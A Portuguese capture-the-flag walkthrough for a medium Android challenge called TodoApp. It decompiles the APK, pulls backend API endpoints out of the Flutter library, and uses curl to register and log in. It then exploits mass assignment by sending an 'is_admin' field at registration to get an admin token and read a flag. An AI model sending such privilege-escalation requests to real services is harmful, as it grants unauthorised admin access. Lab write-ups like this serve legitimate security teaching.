Desafios

Walkthrough do TodoApp CTF-Alquymia

Este walkthrough do TodoApp CTF oferece um guia passo a passo completo para resolver esse desafio de segurança mobile de dificuldade média. Se você está encarando o TodoApp CTF pela primeira vez, este walkthrough vai te conduzir pela descoberta e exploração das vulnerabilidades escondidas no aplicativo de produtividade da TechCorp.

Detalhes do desafio

Nome: TodoApp
Arquivo: todoapp.apk
Plataforma: https://ctf.alquymia.com.br/
Categoria: MISC
Dificuldade: Média

Descrição do desafio

A empresa TechCorp contratou você como pentester para melhorar a segurança do seu novo aplicativo de produtividade mobile. O “TodoApp” é um gerenciador de tarefas simples que permite aos funcionários organizar suas atividades diárias. Sua missão é identificar e explorar possíveis vulnerabilidades que possam comprometer dados ou a funcionalidade do sistema. Boa sorte!

Fase 1: Análise Estática

A análise estática envolve examinar o código e os recursos da aplicação sem executá-la. Nosso objetivo é entender sua estrutura, encontrar informações escondidas e identificar possíveis pontos de ataque.

Passo 1.1: Preparando o ambiente de análise

O arquivo da aplicação é o todoapp.apk. Um arquivo APK é essencialmente um arquivo .zip contendo o código, os recursos e o manifest da aplicação. Para analisá-lo, precisamos de um decompilador. A melhor ferramenta para isso é o JADX (Java Decompiler).

  • O que é o JADX? Uma ferramenta poderosa que descompila código DEX (o formato em que apps Android são compilados) de volta para código Java legível. Ela também decodifica corretamente arquivos XML como o AndroidManifest.xml.
  • Ação: Instalamos e rodamos o jadx-gui no arquivo todoapp.apk.

Passo 1.2: Achados iniciais no AndroidManifest.xml

O primeiro lugar a examinar é o AndroidManifest.xml. Esse arquivo é o “cérebro” do app, definindo seus componentes, permissões e pontos de entrada.

<activity
            android:theme="@style/LaunchTheme"
            android:name="com.example.todoapp_flutter.MainActivity"
            android:exported="true"
            .../>

Explicação do android:exported=”true”: Esse atributo é crítico. Ele significa que a MainActivity (a tela principal do app) pode ser iniciada por outras aplicações no dispositivo. Em um contexto de segurança, esse é um ponto de entrada em potencial para atacantes e frequentemente indica que uma vulnerabilidade pode estar acessível por esse componente.

Passo 1.3: A descoberta do framework

Em seguida, examinamos o próprio arquivo MainActivity.java.

package com.example.todoapp_flutter;
...
public final class MainActivity extends AbstractActivityC011e {
    ...
}

Explicação: O nome do pacote todoapp_flutter e a estrutura da classe indicam claramente que essa aplicação foi construída com o framework Flutter, e não em Android nativo (Java/Kotlin). Essa é uma informação crucial, porque muda toda a nossa estratégia de análise.

  • App nativo: a lógica está em arquivos .java
  • App Flutter: a lógica principal é escrita em Dart e compilada em bibliotecas nativas (arquivos .so) e assets. O código Java é só um “wrapper” (invólucro) ou “bootstrap” para iniciar o motor do Flutter

Passo 1.4: Encontrando os endpoints da API

Como a lógica não estava nos arquivos Java, sabíamos que ela tinha de estar no código Flutter compilado. Ele normalmente fica em um arquivo de biblioteca nativa.

Descompacte o APK (fizemos via terminal Linux):

unzip todoapp.zip

Navegue:

cd todoapp/lib/x86_64

Extraia e filtre as strings:

strings libapp.so | grep http

Conclusão: Tínhamos encontrado a API de backend da aplicação. O TodoApp não armazena dados localmente; ele se comunica com um servidor em mobile-todo.alqlab.com. O desafio deixou de ser sobre o APK; agora é sobre essa API.

http://mobile-todo.alqlab.com/todos/create
http://mobile-todo.alqlab.com/todos/get-all?skip=0&limit=100
http://mobile-todo.alqlab.com
http://mobile-todo.alqlab.com/auth/register
http://mobile-todo.alqlab.com/auth/login

Fase 2: Análise Dinâmica

A análise dinâmica envolve interagir com o sistema em execução para observar seu comportamento. Agora vamos usar o curl para agir como cliente e conversar com a API que descobrimos.

Passo 2.1: Testando o acesso sem autenticação

O primeiro teste lógico é ver se a API nos entrega dados sem que a gente prove quem somos.

O comando:

curl http://mobile-todo.alqlab.com/todos/get-all

Resultado: o servidor devolveu uma mensagem de erro como “Not authenticated“.

Conclusão: o endpoint é protegido. Precisamos de uma conta de usuário válida e de um token para acessá-lo.

Passo 2.2: O fluxo padrão de autenticação

Seguimos o processo padrão: registrar um usuário e depois fazer login para obter um token.

Registro:

curl -X POST -H "Content-Type: application/json" -d '{"username":"<username>", "password":"<senha>"}' http://mobile-todo.alqlab.com/auth/register

Login:

curl -X POST -H "Content-Type: application/json" -d '{"username":"<login>", "password":"<senha>"}' http://mobile-todo.alqlab.com/auth/login

Resultado: o comando de login retornou um JSON Web Token (JWT).

{"access_token":"<TOKEN>","token_type":"bearer"}

Passo 2.3: Acessando os dados como um usuário comum

Agora com um token válido, tentamos acessar os dados novamente.

O comando:

curl -H "Authorization: Bearer <TOKEN>" http://mobile-todo.alqlab.com/todos/get-all

Resultado: []

Explicação: o servidor nos autenticou com sucesso, mas retornou uma lista vazia. Isso significa que o usuário darch não tem tarefas. A flag provavelmente está em dados que só um usuário privilegiado (como um administrador) consegue ver. Nosso novo objetivo é a escalação de privilégios.

Fase 3: Análise de Vulnerabilidades e Exploração

Precisávamos encontrar um jeito de nos tornar administrador. A falha de lógica mais comum em endpoints de registro é o Mass Assignment (atribuição em massa).

Entendendo o Mass Assignment

  • O que é Mass Assignment? É uma vulnerabilidade em que a aplicação aceita cegamente todos os parâmetros enviados em uma requisição e os mapeia para um objeto interno, sem verificar se eles deveriam poder ser modificados pelo usuário. Por exemplo, um formulário de registro pode pedir apenas username e password, mas um servidor vulnerável também pode aceitar um parâmetro is_admin se o atacante o enviar.

Essa abordagem se apoia no conhecimento de vulnerabilidades comuns de APIs e em deduções fundamentadas. É rápida, mas menos metódica.

Explorando a vulnerabilidade do TodoApp CTF

A hipótese: “O endpoint de registro pode estar vulnerável. Se eu enviar um campo is_admin junto com meus dados de registro, o servidor pode aceitá-lo cegamente e me transformar em admin.”

O comando de exploração:

curl -X POST -H "Content-Type: application/json" -d '{"username":"hacker", "password":"senha123", "is_admin":true}' http://mobile-todo.alqlab.com/auth/register

Resultado: o servidor respondeu com um novo token de acesso.

Fase 4: Pós-Exploração e Relato

Com um token de administrador válido, agora podemos acessar os dados protegidos.

Passo 4.1: O comando final

Usamos nosso novo token de admin para pedir a lista completa, incluindo uma tarefa administrativa escondida.

[
  {
    "id": 1,
    "title": "Admin Flag Task",
    "description": "Flag: ALQ{<flag-content>}",
    "completed": false,
    ...
  },
  ...other tasks...
]

Conclusão

Vulnerabilidade: Mass Assignment levando à Escalação de Privilégios

Caminho do ataque: Análise Estática → Descoberta da API → Autenticação → Identificação de Falha de Lógica de Negócio → Exploração → Exfiltração de Dados

Aviso de Isenção de Responsabilidade: As informações, tutoriais e ferramentas apresentados neste material possuem caráter exclusivamente educacional e informativo. Não nos responsabilizamos por quaisquer danos, perdas, instabilidades ou problemas técnicos que possam ocorrer em seus dispositivos, sistemas ou ambientes de teste durante ou após a execução dos procedimentos descritos. A instalação de softwares, descompiladores ou ferramentas de terceiros para leitura de arquivos APK/ZIP é de inteira responsabilidade do usuário, não havendo qualquer obrigatoriedade quanto ao seu download ou uso. O leitor assume integral e irrestrita responsabilidade por todas as suas ações e pelas consequências decorrentes da aplicação destas práticas.